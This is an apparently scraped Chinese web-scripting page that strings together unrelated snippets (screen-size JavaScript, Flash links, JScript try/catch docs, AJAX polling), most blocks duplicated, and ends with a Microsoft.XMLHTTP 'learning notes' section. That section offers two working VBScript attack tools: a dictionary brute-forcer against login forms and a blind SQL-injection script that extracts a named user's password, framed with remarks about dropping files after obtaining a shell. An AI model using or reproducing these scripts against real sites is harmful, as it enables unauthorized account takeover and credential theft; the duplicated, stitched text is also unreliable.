做了个简单的屏幕信息的代码:
<html>
<body>
<TITLE> 测试屏幕信息 </TITLE>
<!-- 设置一个ID作为显示用 -->
<div id="display"></div>
<SCRIPT LANGUAGE="JavaScript">
function windowResize(){
var s = " <B>变动浏览器大小试试!</B>";
s += "<br><br> 网页可见区域宽:"+ document.body.clientWidth;
s += "<br> 网页可见区域高:"+ document.body.clientHeight;
s += "<br> 网页正文全文宽:"+ document.body.scrollWidth;
s += "<br> 网页正文全文高:"+ document.body.scrollHeight;
s += "<br> 网页正文部分上:"+ window.screenTop;
s += "<br> 网页正文部分左:"+ window.screenLeft;
s += "<br> 屏幕分辨率的高:"+ window.screen.height;
s += "<br> 屏幕分辨率的宽:"+ window.screen.width;
s += "<br> 屏幕可用工作区高度:"+ window.screen.availHeight;
s += "<br> 屏幕可用工作区宽度:"+ window.screen.availWidth;
s += "<br><br> From: <A HREF=\"http://www.aslibra.com\">www.aslibra.com</A> ";
b=document.getElementById("display");
b.innerHTML=s;
}
window.onresize = function(){
windowResize();
}
//调用一次,以便显示当前信息
windowResize();
</SCRIPT>
</body>
</html>
具体的代码就不解释啦,大部分玩意都可以从代码得到的信息展开,比如左右的广告
<html>
<body>
<TITLE> 测试屏幕信息 </TITLE>
<!-- 设置一个ID作为显示用 -->
<div id="display"></div>
<SCRIPT LANGUAGE="JavaScript">
function windowResize(){
var s = " <B>变动浏览器大小试试!</B>";
s += "<br><br> 网页可见区域宽:"+ document.body.clientWidth;
s += "<br> 网页可见区域高:"+ document.body.clientHeight;
s += "<br> 网页正文全文宽:"+ document.body.scrollWidth;
s += "<br> 网页正文全文高:"+ document.body.scrollHeight;
s += "<br> 网页正文部分上:"+ window.screenTop;
s += "<br> 网页正文部分左:"+ window.screenLeft;
s += "<br> 屏幕分辨率的高:"+ window.screen.height;
s += "<br> 屏幕分辨率的宽:"+ window.screen.width;
s += "<br> 屏幕可用工作区高度:"+ window.screen.availHeight;
s += "<br> 屏幕可用工作区宽度:"+ window.screen.availWidth;
s += "<br><br> From: <A HREF=\"http://www.aslibra.com\">www.aslibra.com</A> ";
b=document.getElementById("display");
b.innerHTML=s;
}
window.onresize = function(){
windowResize();
}
//调用一次,以便显示当前信息
windowResize();
</SCRIPT>
</body>
</html>
具体的代码就不解释啦,大部分玩意都可以从代码得到的信息展开,比如左右的广告
//定义一个函数接收
function setit(i) {
trace(i);
}
var keys:String = "文字列表,文字测试,word test,逗号分割";
var keys_array:Array = keys.split(",");
var search_url:String = "http://localhost/search/";
var my_str:String = "";
//设定相关参数
d_txt.html = true;
d_txt.multiline = true;
d_txt.selectable = false;
for (var i in keys_array) {
//函数名称,变量
my_str += "<a href='asfunction:setit,"+i+"'><u>"+keys_array[i]+"</u></a> , ";
}
trace(my_str);
d_txt.htmlText = my_str;
function setit(i) {
trace(i);
}
var keys:String = "文字列表,文字测试,word test,逗号分割";
var keys_array:Array = keys.split(",");
var search_url:String = "http://localhost/search/";
var my_str:String = "";
//设定相关参数
d_txt.html = true;
d_txt.multiline = true;
d_txt.selectable = false;
for (var i in keys_array) {
//函数名称,变量
my_str += "<a href='asfunction:setit,"+i+"'><u>"+keys_array[i]+"</u></a> , ";
}
trace(my_str);
d_txt.htmlText = my_str;
给FLash加链接,主要是加上一个button的标签,这样抢先占用点击,这个是很有技巧的玩意,一部分相当于让flash表现起来跟图片一样了:
为 JScript 实现错误处理。
try {
tryStatements}
catch(exception){
catchStatements}
finally {
finallyStatements}
=============
参数
tryStatement
必选项。可能发生错误的语句。
exception
必选项。任何变量名。exception 的初始化值是扔出的错误的值。
catchStatement
可选项。处理在相关联的 tryStatement 中发生的错误的语句。
finallyStatements
可选项。在所有其他过程发生之后无条件执行的语句。
说明
try...catch...finally 语句提供了一种方法来处理可能发生在给定代码块中的某些或全部错误,同时仍保持代码的运行。如果发生了程序员没有处理的错误,JScript 只给用户提供它的普通错误信息,就好象没有错误处理一样。
tryStatements 参数包含可能发生错误的代码,而 catchStatement 则包含处理任何发生了的错误的代码。如果在 tryStatements 中发生了一个错误,则程序控制被传给 catchStatements 来处理。exception 的初始化值是发生在 tryStatements 中的错误的值。如果错误不发生,则不执行 catchStatements。
如果在与发生错误的 tryStatements 相关联的 catchStatements 中不能处理该错误,则使用 throw 语句来传播、或重新扔出这个错误给更高级的错误处理程序。
在执行完 tryStatements 中的语句,并在 catchStatements 的所有错误处理发生之后,可无条件执行 finallyStatements 中的语句。
请注意,即使在 try 或 catch 块中返回一个语句,或在 catch 块重新扔出一个错误,仍然会执行 finallyStatements 编码。一般将确保 finallyStatments 的运行,除非存在未处理的错误。(例如,在 catch 块中发生运行时错误。)。
示例
下面的例子阐明了JScript 特例处理是如何进行的。
将得出以下结果:
try {
tryStatements}
catch(exception){
catchStatements}
finally {
finallyStatements}
=============
参数
tryStatement
必选项。可能发生错误的语句。
exception
必选项。任何变量名。exception 的初始化值是扔出的错误的值。
catchStatement
可选项。处理在相关联的 tryStatement 中发生的错误的语句。
finallyStatements
可选项。在所有其他过程发生之后无条件执行的语句。
说明
try...catch...finally 语句提供了一种方法来处理可能发生在给定代码块中的某些或全部错误,同时仍保持代码的运行。如果发生了程序员没有处理的错误,JScript 只给用户提供它的普通错误信息,就好象没有错误处理一样。
tryStatements 参数包含可能发生错误的代码,而 catchStatement 则包含处理任何发生了的错误的代码。如果在 tryStatements 中发生了一个错误,则程序控制被传给 catchStatements 来处理。exception 的初始化值是发生在 tryStatements 中的错误的值。如果错误不发生,则不执行 catchStatements。
如果在与发生错误的 tryStatements 相关联的 catchStatements 中不能处理该错误,则使用 throw 语句来传播、或重新扔出这个错误给更高级的错误处理程序。
在执行完 tryStatements 中的语句,并在 catchStatements 的所有错误处理发生之后,可无条件执行 finallyStatements 中的语句。
请注意,即使在 try 或 catch 块中返回一个语句,或在 catch 块重新扔出一个错误,仍然会执行 finallyStatements 编码。一般将确保 finallyStatments 的运行,除非存在未处理的错误。(例如,在 catch 块中发生运行时错误。)。
示例
下面的例子阐明了JScript 特例处理是如何进行的。
try {
print("Outer try running..");
try {
print("Nested try running...");
throw "an error";
}
catch(e) {
print("Nested catch caught " + e);
throw e + " re-thrown";
}
finally {
print("Nested finally is running...");
}
}
catch(e) {
print("Outer catch caught " + e);
}
finally {
print("Outer finally running");
}
// Windows Script Host 作出该修改从而得出 WScript.Echo(s)
function print(s){
document.write(s);
}
print("Outer try running..");
try {
print("Nested try running...");
throw "an error";
}
catch(e) {
print("Nested catch caught " + e);
throw e + " re-thrown";
}
finally {
print("Nested finally is running...");
}
}
catch(e) {
print("Outer catch caught " + e);
}
finally {
print("Outer finally running");
}
// Windows Script Host 作出该修改从而得出 WScript.Echo(s)
function print(s){
document.write(s);
}
将得出以下结果:
Outer try running..
Nested try running...
Nested catch caught an error
Nested finally is running...
Outer catch caught an error re-thrown
Outer finally running
Nested try running...
Nested catch caught an error
Nested finally is running...
Outer catch caught an error re-thrown
Outer finally running
<script language="j avascript">
var xmlHttp = null;
var busy = false;
// 发送请求
function active() {
if(busy == true) return;
busy = true;
//初始化XMLHttp对象
if(window.XMLHttpRequest) {
//Firefox
xmlHttp = new XMLHttpRequest();
if (xmlHttp.overrideMimeType) {
//设置MiME类别
xmlHttp.overrideMimeType("text/html");
}
}
else if (window.ActiveXObject) {
// IE
try {
xmlHttp = new ActiveXObject("Msxml2.XMLHTTP");
} catch (e) {
try {
xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
} catch (e) {}
}
}
if (xmlHttp==null) {
// 创建xmlhttp对象实例失败
window.alert("can't create the XMLHttp instance.");
return false;
}
//指定响应处理函数。
xmlHttp.onreadystatechange = process;
var url = 'http://localhost/';
//访止浏览器缓存页面,在每次请求的URL中加上当前时间。
url += '?token='+ new Date().getTime();
xmlHttp.open("GET", url, true);
//发送请求。
xmlHttp.send(null);
}
// 处理服务器响应信息的函数
function process() {
if (xmlHttp.readyState == 4) { // 判断对象状态
if(xmlHttp.status==200){ //服务器成功响应
//更新页面列表信息。
document.getElementById("canvas").innerHTML = xmlHttp.responseText;
}
}
busy = false;
}
//设置xmlHttp重复发送请求的时间间隔。
window.setInterval(active, 1000);
</script>
<div id="canvas"></div>
var xmlHttp = null;
var busy = false;
// 发送请求
function active() {
if(busy == true) return;
busy = true;
//初始化XMLHttp对象
if(window.XMLHttpRequest) {
//Firefox
xmlHttp = new XMLHttpRequest();
if (xmlHttp.overrideMimeType) {
//设置MiME类别
xmlHttp.overrideMimeType("text/html");
}
}
else if (window.ActiveXObject) {
// IE
try {
xmlHttp = new ActiveXObject("Msxml2.XMLHTTP");
} catch (e) {
try {
xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
} catch (e) {}
}
}
if (xmlHttp==null) {
// 创建xmlhttp对象实例失败
window.alert("can't create the XMLHttp instance.");
return false;
}
//指定响应处理函数。
xmlHttp.onreadystatechange = process;
var url = 'http://localhost/';
//访止浏览器缓存页面,在每次请求的URL中加上当前时间。
url += '?token='+ new Date().getTime();
xmlHttp.open("GET", url, true);
//发送请求。
xmlHttp.send(null);
}
// 处理服务器响应信息的函数
function process() {
if (xmlHttp.readyState == 4) { // 判断对象状态
if(xmlHttp.status==200){ //服务器成功响应
//更新页面列表信息。
document.getElementById("canvas").innerHTML = xmlHttp.responseText;
}
}
busy = false;
}
//设置xmlHttp重复发送请求的时间间隔。
window.setInterval(active, 1000);
</script>
<div id="canvas"></div>
最近迷上了脚本,发现里面有个Microsoft.XMLHTTP对象很有用,学习了一阵子,把心得写在这里,也算是一篇学习总结吧。
Microsoft.XMLHTTP是为支持XML而设计的对象,通过http协议访问网络。要直接把它讲清楚比较难,我们还是在实例中学习吧。
1、用Microsoft.XMLHTTP写一个支持断点续传下载web资源的程序。
这点应该是大家最熟悉的,很多人都用Microsoft.XMLHTTP干过这事儿,类似的脚本到处都是,所以对于这方面的用途就不占用版面多写了。
(没看过这方面代码的朋友可以找我要:love_smj@sina.com)
当然,这种程序对于入侵时只得到了一个溢出的shell又想往对方机子上放东西时还是很有用的。:)
2、用Microsoft.XMLHTTP写一个自动填写表单的程序。
想到了什么?强注会员?自动投票?我们还是结合例子来说吧。以下是我写的一个穷举猜管理员(当然,普通用户也行)密码的程序,实用性并不高。
3、用Microsoft.XMLHTTP来写sql注入程序。
记得看到过一篇《用vbs来写sql注入等80端口的攻击脚本》(请看http://www.eviloctal.com/forum/read.php?tid=11005&fpage=1)
那篇文章中所说的对象必须要装Microsoft ACT(Visual Studio.Net里一个工具)才能用,很麻烦。其实要写sql注入程序,用Microsoft.XMLHTTP也能办到。由于Microsoft.XMLHTTP是windows自带的,不需要安什么就能用。
还是用实例说话。以下程序是我用Microsoft.XMLHTTP改写的随爱飞翔的那个程序。
(请看http://www.eviloctal.com/forum/read.php?tid=11005&fpage=1)
Microsoft.XMLHTTP是为支持XML而设计的对象,通过http协议访问网络。要直接把它讲清楚比较难,我们还是在实例中学习吧。
1、用Microsoft.XMLHTTP写一个支持断点续传下载web资源的程序。
这点应该是大家最熟悉的,很多人都用Microsoft.XMLHTTP干过这事儿,类似的脚本到处都是,所以对于这方面的用途就不占用版面多写了。
(没看过这方面代码的朋友可以找我要:love_smj@sina.com)
当然,这种程序对于入侵时只得到了一个溢出的shell又想往对方机子上放东西时还是很有用的。:)
2、用Microsoft.XMLHTTP写一个自动填写表单的程序。
想到了什么?强注会员?自动投票?我们还是结合例子来说吧。以下是我写的一个穷举猜管理员(当然,普通用户也行)密码的程序,实用性并不高。
set outstreem=wscript.stdout
set instreem=wscript.stdin
set http=createobject('Microsoft.XMLHTTP')
set fso=createobject('scripting.filesystemobject')
set shell=createobject('wscript.shell')
if lcase(right(wscript.fullname,11))='wscript.exe' then
shell.run('cmd.exe /k echo off&cls&cscript //nologo '&chr(34)&wscript.scriptfullname&chr(34))
wscript.quit
end if '这里的目的是用cscript.exe来执行脚本
wscript.echo string(79,'*')
wscript.echo ''
wscript.echo ' by 千寂孤城 E-mail:love_smj@sina.com'
wscript.echo ''
wscript.echo string(79,'*')
wscript.echo '若要破解的用户名是汉字,请使用IE将其转换为16进制!!'
outstreem.write '登陆页面的路径是:'
webpath=instreem.readline '取得'http://xxxxx/login.asp'一类的登陆路径
outstreem.write '要破解的用户名:'
name=instreem.readline '这里注意,用户名如果是汉字必须用ie转换成16进制。比如说如果用户名是“一二”,就要输入:%B0%A1%B0%A1
outstreem.write '表单中用于输入用户名的文本框名字:'
bdname=instreem.readline
outstreem.write '表单中用于输入密码的密码框名字:'
bdpass=instreem.readline
outstreem.write '字典在哪里:'
path=instreem.readline '没有字典的话直接按回车,程序会自己生成字典。
if path='' then
wscript.echo 'Dictionary not found!!'
wscript.echo 'Now making dictionary 'C:dic.dic'... please wait...'
set dic=fso.createtextfile('c:dic.dic',true)
for j=0 to 999999
writeable=true
xieru=string(6-len(cstr(j)),'0')&cstr(j)
if mid(xieru,1,1)<>mid(xieru,2,1) and mid(xieru,2,1)<>mid(xieru,3,1) and mid(xieru,3,1)<>mid(xieru,4,1) and mid(xieru,4,1)<>mid(xieru,5,1) and mid(xieru,5,1)<>mid(xieru,6,1) then
for k=0 to 9
if len(replace(xieru,k,''))<4 then writeable=false
next
if writeable=true then dic.writeline xieru
end if
next
dic.close
path='c:dic.dic'
end if
'以上生成的字典里是6位数字的密码,每个密码中相同的数字最多有2个,且不相邻。
wscript.echo 'OK!! Begun! Please wait...'
set zidian=fso.opentextfile(path)
pwd=zidian.readline
http.open 'POST',webpath,false
http.setrequestheader 'Content-Type','application/x-www-form-urlencoded'
'由于是提交表单,所以这一句必须要!否则会出错的
http.send bdname&'='&name&'&'&bdpass&'='&pwd
falselen=len(Http.responsebody)
'得到返回数据的长度。这个长度一定是错误的,不然你可以买彩票了。
wscript.echo 'trying:'&pwd
do '开始破解
if zidian.atendofstream=true then
wscript.echo 'Sorry,the pwd is beyond '&path&'.'
wscript.quit
end if
pwd=zidian.readline
http.open 'POST',webpath,false
http.setrequestheader 'Content-Type','application/x-www-form-urlencoded'
http.send bdname&'='&name&'&'&bdpass&'='&pwd
if len(Http.responsebody)<falselen-50 or len(Http.responsebody)>falselen+50 then
exit do
end if
'如果返回的数据长度和falselen相差太大就说明密码正确了。
wscript.echo 'trying:'&pwd
loop
zidian.close
wscript.echo 'Good Luck!!'
wscript.echo 'password is '&pwd
wscript.echo 'the log file is 'c: esult.log''
set result=fso.opentextfile('c: esult.log',8,true)
result.writeline 'user:'&name&' pass:'&pwd
result.close
set instreem=wscript.stdin
set http=createobject('Microsoft.XMLHTTP')
set fso=createobject('scripting.filesystemobject')
set shell=createobject('wscript.shell')
if lcase(right(wscript.fullname,11))='wscript.exe' then
shell.run('cmd.exe /k echo off&cls&cscript //nologo '&chr(34)&wscript.scriptfullname&chr(34))
wscript.quit
end if '这里的目的是用cscript.exe来执行脚本
wscript.echo string(79,'*')
wscript.echo ''
wscript.echo ' by 千寂孤城 E-mail:love_smj@sina.com'
wscript.echo ''
wscript.echo string(79,'*')
wscript.echo '若要破解的用户名是汉字,请使用IE将其转换为16进制!!'
outstreem.write '登陆页面的路径是:'
webpath=instreem.readline '取得'http://xxxxx/login.asp'一类的登陆路径
outstreem.write '要破解的用户名:'
name=instreem.readline '这里注意,用户名如果是汉字必须用ie转换成16进制。比如说如果用户名是“一二”,就要输入:%B0%A1%B0%A1
outstreem.write '表单中用于输入用户名的文本框名字:'
bdname=instreem.readline
outstreem.write '表单中用于输入密码的密码框名字:'
bdpass=instreem.readline
outstreem.write '字典在哪里:'
path=instreem.readline '没有字典的话直接按回车,程序会自己生成字典。
if path='' then
wscript.echo 'Dictionary not found!!'
wscript.echo 'Now making dictionary 'C:dic.dic'... please wait...'
set dic=fso.createtextfile('c:dic.dic',true)
for j=0 to 999999
writeable=true
xieru=string(6-len(cstr(j)),'0')&cstr(j)
if mid(xieru,1,1)<>mid(xieru,2,1) and mid(xieru,2,1)<>mid(xieru,3,1) and mid(xieru,3,1)<>mid(xieru,4,1) and mid(xieru,4,1)<>mid(xieru,5,1) and mid(xieru,5,1)<>mid(xieru,6,1) then
for k=0 to 9
if len(replace(xieru,k,''))<4 then writeable=false
next
if writeable=true then dic.writeline xieru
end if
next
dic.close
path='c:dic.dic'
end if
'以上生成的字典里是6位数字的密码,每个密码中相同的数字最多有2个,且不相邻。
wscript.echo 'OK!! Begun! Please wait...'
set zidian=fso.opentextfile(path)
pwd=zidian.readline
http.open 'POST',webpath,false
http.setrequestheader 'Content-Type','application/x-www-form-urlencoded'
'由于是提交表单,所以这一句必须要!否则会出错的
http.send bdname&'='&name&'&'&bdpass&'='&pwd
falselen=len(Http.responsebody)
'得到返回数据的长度。这个长度一定是错误的,不然你可以买彩票了。
wscript.echo 'trying:'&pwd
do '开始破解
if zidian.atendofstream=true then
wscript.echo 'Sorry,the pwd is beyond '&path&'.'
wscript.quit
end if
pwd=zidian.readline
http.open 'POST',webpath,false
http.setrequestheader 'Content-Type','application/x-www-form-urlencoded'
http.send bdname&'='&name&'&'&bdpass&'='&pwd
if len(Http.responsebody)<falselen-50 or len(Http.responsebody)>falselen+50 then
exit do
end if
'如果返回的数据长度和falselen相差太大就说明密码正确了。
wscript.echo 'trying:'&pwd
loop
zidian.close
wscript.echo 'Good Luck!!'
wscript.echo 'password is '&pwd
wscript.echo 'the log file is 'c: esult.log''
set result=fso.opentextfile('c: esult.log',8,true)
result.writeline 'user:'&name&' pass:'&pwd
result.close
3、用Microsoft.XMLHTTP来写sql注入程序。
记得看到过一篇《用vbs来写sql注入等80端口的攻击脚本》(请看http://www.eviloctal.com/forum/read.php?tid=11005&fpage=1)
那篇文章中所说的对象必须要装Microsoft ACT(Visual Studio.Net里一个工具)才能用,很麻烦。其实要写sql注入程序,用Microsoft.XMLHTTP也能办到。由于Microsoft.XMLHTTP是windows自带的,不需要安什么就能用。
还是用实例说话。以下程序是我用Microsoft.XMLHTTP改写的随爱飞翔的那个程序。
(请看http://www.eviloctal.com/forum/read.php?tid=11005&fpage=1)
on error resume next
set outstreem=wscript.stdout
set instreem=wscript.stdin
set http=createobject('Microsoft.XMLHTTP')
set shell=createobject('wscript.shell')
dim strings = '0123456789abcdefghijklmnopqrstuvwxyz'
dim pwd_len
dim pwd
pwd=''
if lcase(right(wscript.fullname,11))='wscript.exe' then
shell.run('cmd.exe /k echo off&cls&cscript //nologo '&chr(34)&wscript.scriptfullname&chr(34))
wscript.quit
end if
wscript.echo string(79,'*')
wscript.echo ''
wscript.echo ' by 千寂孤城 E-mail:love_smj@sina.com'
wscript.echo ''
wscript.echo string(79,'*')
wscript.echo '若要破解的用户名是汉字,请使用IE将其转换为16进制!!'
outstreem.write '注入点:'
webpath=instreem.readline
outstreem.write '要破解的用户:'
username=instreem.readline
http.open 'POST',webpath,false
http.send
truelen=len(Http.responsebody)
WScript.Echo '开始探测,请等待... ...'
'得到用户的密码的长度
for i = 0 to 128 step
http.open 'POST',webpath&' and exists (select userid from student where len(userpwd)='&cstr(i)&' and userid=''&username&'')',false
http.send
if len(Http.responsebody)>truelen-50 and len(Http.responsebody)<truelen+50 then
pwd_len=i
exit for
end if
next
'猜解用户的密码
for j = 1 to pwd_len
for k = 1 to len(strings)
http.open 'POST',webpath&' and exists (select userid from student where left(userpwd,'&cstr(j)&')=''& pwd & mid(strings,k,1) &'' and userid=''&username&''',false
http.send
if len(Http.responsebody)>truelen-50 and len(Http.responsebody)<truelen+50 then
pwd=pwd&mid(strings,k,1)
end if
next
next
If err Then
WScript.Echo '错误:' & Error.Description
Error.Clear
Else
'输出密码
WScript.Echo '密码:' & pwd
End If
set outstreem=wscript.stdout
set instreem=wscript.stdin
set http=createobject('Microsoft.XMLHTTP')
set shell=createobject('wscript.shell')
dim strings = '0123456789abcdefghijklmnopqrstuvwxyz'
dim pwd_len
dim pwd
pwd=''
if lcase(right(wscript.fullname,11))='wscript.exe' then
shell.run('cmd.exe /k echo off&cls&cscript //nologo '&chr(34)&wscript.scriptfullname&chr(34))
wscript.quit
end if
wscript.echo string(79,'*')
wscript.echo ''
wscript.echo ' by 千寂孤城 E-mail:love_smj@sina.com'
wscript.echo ''
wscript.echo string(79,'*')
wscript.echo '若要破解的用户名是汉字,请使用IE将其转换为16进制!!'
outstreem.write '注入点:'
webpath=instreem.readline
outstreem.write '要破解的用户:'
username=instreem.readline
http.open 'POST',webpath,false
http.send
truelen=len(Http.responsebody)
WScript.Echo '开始探测,请等待... ...'
'得到用户的密码的长度
for i = 0 to 128 step
http.open 'POST',webpath&' and exists (select userid from student where len(userpwd)='&cstr(i)&' and userid=''&username&'')',false
http.send
if len(Http.responsebody)>truelen-50 and len(Http.responsebody)<truelen+50 then
pwd_len=i
exit for
end if
next
'猜解用户的密码
for j = 1 to pwd_len
for k = 1 to len(strings)
http.open 'POST',webpath&' and exists (select userid from student where left(userpwd,'&cstr(j)&')=''& pwd & mid(strings,k,1) &'' and userid=''&username&''',false
http.send
if len(Http.responsebody)>truelen-50 and len(Http.responsebody)<truelen+50 then
pwd=pwd&mid(strings,k,1)
end if
next
next
If err Then
WScript.Echo '错误:' & Error.Description
Error.Clear
Else
'输出密码
WScript.Echo '密码:' & pwd
End If






